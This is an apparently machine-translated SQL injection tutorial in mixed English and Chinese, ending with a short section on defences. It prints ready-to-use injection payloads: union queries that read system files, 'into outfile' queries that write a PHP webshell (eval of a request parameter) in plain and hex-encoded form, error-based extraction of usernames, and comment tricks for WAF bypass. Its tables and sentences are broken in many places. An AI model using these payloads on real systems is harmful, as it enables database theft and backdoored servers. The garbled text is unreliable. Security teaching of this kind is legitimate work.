This article brings you knowledge about sql injection. SQL injection is a behavior in which the server does not strictly verify the data sent by the client, causing the server-side SQL statement to be maliciously modified and successfully executed. I hope it will be useful to everyone. helpful.
Structured Query Language (SQL) is a special programming language used for standard data queries in databases. In October 1986, the American National Standards Institute standardized SQL and used it as the standard language for relational database systems. In 1987, it received support from the International Standards Organization and became an international standard.
SQL injection is a behavior in which the server does not strictly verify the data sent by the client, resulting in the server's SQL statement being maliciously modified and successfully executed
SQL injection attack behavior can be described as injecting SQL syntax into user-controllable parameters, destroying the original SQL structure, and achieving unexpected results when writing programs. The resulting attack behavior. The cause can be attributed to the superposition of the following two reasons.
According to the principle of SQL injection vulnerability, the user injects SQL into the "controllable parameters" In other words, where the Web application obtains user input, as long as it is brought into the database query, there is the possibility of SQL injection. These places usually include:
Submission methods include: get, post, cookie, request, etc.
Among them: request support is better, you can use get method, post method, cookie method Submission is possible
Will try to submit data at the suspected injection point or behind the parameters to determine whether there is a SQL injection vulnerability .
Note: If when you test a website, 404 appears, or the page jumps, it means that the website is protected
As shown below, generally Say, parameters such as id are followed by numeric type (may also be character type), and other parameters are followed by character type
If some strings are really restricted , we can try some encoding bypass.
Such as URLEncode encoding, ASCII, HEX, and unicode encoding are bypassed:
/*!...*/
In MySQL, /**/ is a multi-line comment. This is the SQL standard, but MySQL has expanded the explanation function. If an exclamation point is added after the /* at the beginning/*!50001sleep(3)*/
, Then the statement in this comment will be executed.
/*!50001 select * from test */;
50001 here means that this statement will only be executed if the database is version 5.00.01 or above. For some wafs, we can use this ways to bypass.
Common ways to obtain the path:
inurl:phpinfo.php
Prerequisites for use:
secure_file_priv, which parameter is in The import and export operations of files are restricted in higher versions of mysql database. To configure this parameter, you need to modify the my.ini configuration file and restart the mysql service [The default is NULL in Phpstudy, which does not allow reading and writing files]
Test data | Test judgment | Attack ideas |
---|---|---|
-1 or 1 | Whether the previous or next page can be echoed (to determine whether there is an echo) | Joint injection |
' or" |
Whether the database error message is displayed; whether the echoed page is different (character type or numeric type) | Error injection |
and 1=1 or and 1=2 | Whether the echoed pages are different (determine whether the page has a Boolean type status) | Boolean blind injection |
and sleep(5) | Judge the return time of the page | Delay injection |
\ | Judgment Escape | |
修改配置文件,对读写不做限制,文件路径C:\phpStudy\MySQL\my.ini
,该操作比较敏感,需要在mysql的配置文件中操作,在phpmyadmin网页中不能修改
?id=-1'union select 1,current_user(),3 --+
?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+
方法2:
select File_priv from mysql.user where user="root" and host="localhost";
下面两种方法一样
?id=1' and 1=2 union select 1,load_file('c:\\windows\\system32\\drivers\\etc\\hosts'),3 --+ ?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+
这里需要注意,写16进制是直接写,写明文的话,需要用引号给包住
写phpinfo,没有报错就说明写入成功,可以直接访问写入的文件地址
# 1. 直接写 ?id=-1' union select 1,'',3 into outfile 'c:\\phpstudy\\www\\hack.php'--+ # 2. 改写成16进制 ?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+
写一句话木马
# 1. 直接写 ?id=1' and 1=2 union select 1,'=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+ # 2. 改写成16进制 ?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+
在进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入,提前了解或预知其SQL语句的大概写法也能更好的选择对应的注入语句。
更详细的介绍,请参见下一篇文章 《SQL注入的常见方式》
重点理解:我们可以通过下面的查询方式和网站应用的关系、注入点产生地方、应用猜测到对方的SQL查询方式
查询方法举例说明
举例:select * from news where id=$id
举例:insert into news(id,url,text) values(2,'x','$t')
举例:delete from news where id=$id
举例:update user set pwd='$p' where id=2 and username='admin'
举例:select * from news order by $id
举例:select id,name,price from news order by $order
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试。
这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断(不回显)
regexp,like,ascii,left,ord,mid
基于时间的SQ盲注-延时判断(不回显)
if,sleep
基于报错的SQL盲注-(强制)报错回显
floor,updatexml,extractvalue
报错模板:https://www.jianshu.com/p/bc35f8dd4f7c
利用的就是mysql函数参数格式错误进行报错注入。
updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value);
适用版本是:5.1.5+
利用方式:在执行两个函数时,如果出现xml文件路径错误,就会产生报错 那么我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错
利用的原理是xpath格式不符报错注入。
函数语法:extractvalue(XML_document,XPath_string)
适用的版本:5.1.5+
1. 获取当前是数据库名称及使用mysql数据库的版本信息: and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) 2. 获取当前注入点的用户权限信息及操作系统版本信息: and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e)) 3. 获取当前位置所用数据库的位置: and extractvalue(1,concat(0x7e,@@datadir,0x7e)) 4. 获取数据表信息: and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) 5. 获取users数据表的列名信息: and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) 6. 获取对应的列名的信息(username\password): and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))
二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes
或者是借助get_magic_quotes_gpc
对其中的特殊字符进行了转义,但是addslashes
有一个特点就是虽然参数在过滤后会添加\
进行转义,但是\
并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容
这里使用的是sql-libs靶场的第24关
注册了一个新用户之后的数据库如下
新用户登录,并重置密码
查看数据库,有意思的事情发生了,dhakkan的密码改变了,但是新用户的密码没有改变
;is added at the end of each statement to indicate the end of the statement. In this way, we thought about whether we can use multiple sentences together. So stack injection (also called stack query) appeared
The conditions for use of stack injection are very limited, and may be restricted by API or database engine, or permissions It can only be used when the database function is called to support the execution of multiple SQL statements. The mysqli_multi_query() function supports the simultaneous execution of multiple SQL statements. However, in actual situations, such as PHP, in order to prevent the SQL injection mechanism, the function that calls the database is often used. The mysqli_query() function can only execute one statement, and the content after the semicolon will not be executed. Therefore, it can be said that the usage conditions of stack injection are very limited. Once it can be used, it may cause a great threat to the website
##Common databases and injection related⭐
Comment character, database port
Meaning | |
---|---|
Restrict mysqld to not allow import and export operations | |
will limit the import and export operations of mysqld to a fixed directory, and the subdirectory is valid | |
No restrictions on the import and export operations of mysqld |
.myd
、索引文件:.MYI
、表定义文件:.frm
.mdf
.dbf
和.ora
.mdb
,Office 2007及之后是.accdb
查询当前用户 select user(); select substring_index(user(), '@', 1) ; 查询当前用户的权限 select * from mysql.user where user = substring_index(user(), '@', 1) ;
判断是否是SA权限select is_srvrolemember('sysadmin') 判断是否是db_owner权限 select is_member('db_owner')判断是否是public权限select is_srvrolemember('public')
查看当前用户select * from user_users;查看当前用户拥有的角色 select * from session_roles;查看当前用户拥有的权限select * from session_privs;
select user #查看用户select current_user #查看当前用户
Access数据库是文件类型数据库,没有用户和权限的概念
SQLServer:select char(97)
Oracle:select chr(97) from dual
select chr(97)&chr(100)&chr(109)&chr(105)&chr(110)
在select数据时,我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数。在sqli中,常见的字符串连接函数有concat()
,group_concat()
,concat_ws()
。
本篇详细讲解以上三个函数。同时此处用mysql进行说明,其他类型数据库请自行进行检测。
不使用字符串连接函数时:
但是这里存在的一个问题是,当使用union联合注入时,我们都知道,联合注入要求前后两个选择的列数要相同,这里id,username是两个列,当我们要一个列的时候,(当然不排除你先爆出id,再爆出username,分两次的做法)该怎么办?答案就是concat()
concat()
语法及使用特点:CONCAT(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。可以有一个或多个参数。
示例如下:
使用方法:CONCAT_WS(separator,str1,str2,...)
CONCAT_WS()
代表 CONCAT With Separator ,是CONCAT()
的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。
注意:如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。
这里以逗号分隔符为例,演示一下
基本查询
mysql> select * from aa; +------+------+ | id| name | +------+------+ |1 | 10| |1 | 20| |1 | 20| |2 | 20| |3 | 200 | |3 | 500 | +------+------+ 6 rows in set (0.00 sec)
以id分组,把name字段的值打印在一行,逗号分隔(默认)
mysql> select id,group_concat(name) from aa group by id; +------+--------------------+ | id| group_concat(name) | +------+--------------------+ |1 | 10,20,20| |2 | 20 | |3 | 200,500| +------+--------------------+ 3 rows in set (0.00 sec)
以id分组,把name字段的值打印在一行,分号分隔
mysql> select id,group_concat(name separator ';') from aa group by id; +------+----------------------------------+ | id| group_concat(name separator ';') | +------+----------------------------------+ |1 | 10;20;20 | |2 | 20| |3 | 200;500 | +------+----------------------------------+ 3 rows in set (0.00 sec)
以id分组,把去冗余的name字段的值打印在一行,
逗号分隔
mysql> select id,group_concat(distinct name) from aa group by id; +------+-----------------------------+ | id| group_concat(distinct name) | +------+-----------------------------+ |1 | 10,20| |2 | 20 | |3 | 200,500 | +------+-----------------------------+ 3 rows in set (0.00 sec)
以id分组,把name字段的值打印在一行,逗号分隔,以name排倒序
mysql> select id,group_concat(name order by name desc) from aa group by id; +------+---------------------------------------+ | id| group_concat(name order by name desc) | +------+---------------------------------------+ |1 | 20,20,10 | |2 | 20| |3 | 500,200| +------+---------------------------------------+ 3 rows in set (0.00 sec)
数据库结构:数据库 —> 表名 —> 列名 —> 数据
演示如下:
show database;
use dvwa; # 选中dvwa数据库 show tables; # 查看dvwa数据库中有哪些表
select * from user;
select *from user\G;
select user,password from user;
##MySQL | SQLServer
Oracle | PostgreSQL | Access | ||
---|---|---|---|---|---|
#-- |
-- |
-- |
none |
Multi-line comments | |
/**/ | /**/ |
/**&*/ |
None |
Database port | 3306
1433 |
5432 | is a file database, so No port number required |
减减空格 | "-- " | "–%20" | “–+” |
---|---|---|---|
# | “#” | "%23" | |
内联注释 | /* 被注释掉的内容 */ | ||
数据库中,符号.
代表下一级,如dvwa.user表示dvwa数据库下的user表
推荐阅读:SQL注入必备知识初级
1:mysql -uroot -proot登录数据库
2:show databases; 查看有哪些数据库
3:use informatin_schema; 使用某数据库
4:limit的用法
5:select 函数名; 查询某内容
函数名有以下:
防御SQL注入的核心思想是对用户输入的数据进行严格的检查,并且对数据库的使用采用最小权限分配原则。目前SQL注入的防御手段有以下几种:
强迫使用参数化语句。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击
例如Mybatis中使用#
可以防止SQL注入,$
并不能防止SQL注入
thinkphp使用数组方式将自动使用框架自带的字段类型检测防止注入、PDO驱动参数绑定、预处理等
Thinkphp框架的安全写法 安全的替换写法 $data=M('Member')->where(array('id'=>$_GET['id']))->find();//使用数组方式将自动使用框架自带的字段类型检测防止注入 $data=M('Member')->where(array('id'=>(int)$_GET['id']))->find();//类型约束 $data=M('Member')->where('id='.intval($_GET['id']))->find();//类型转换 $data=M('Member')->where(array('id'=>I('get.id','','intval')))->find();//$data=M('Member')- >where(array('id'=>':id'))->bind(':id',I('get.id'))->select();//PDO驱动可以使用参数绑定 $data=M('Member')->where("id=%d",array($_GET['id']))->find();//预处理机制 //不安全的写法举例 $_GET['id']=8;//希望得到的是正整数 $data=M()->query('SELECT * FROM `member` WHERE id='.$_GET['id']);//执行的SQL语句 $_GET['id']='8 UNION SELECT * FROM `member`';;//隐患:构造畸形语句进行注入;
主要包括:
例如,避免网站显示SQL执行出错信息,防止攻击者使用基于错误的方式进行注入;每个数据层编码统一,防止过滤模型被绕过等。使用WAF。
相关推荐:《mysql教程》
The above is the detailed content of Take you to understand SQL injection (details). For more information, please follow other related articles on the PHP Chinese website!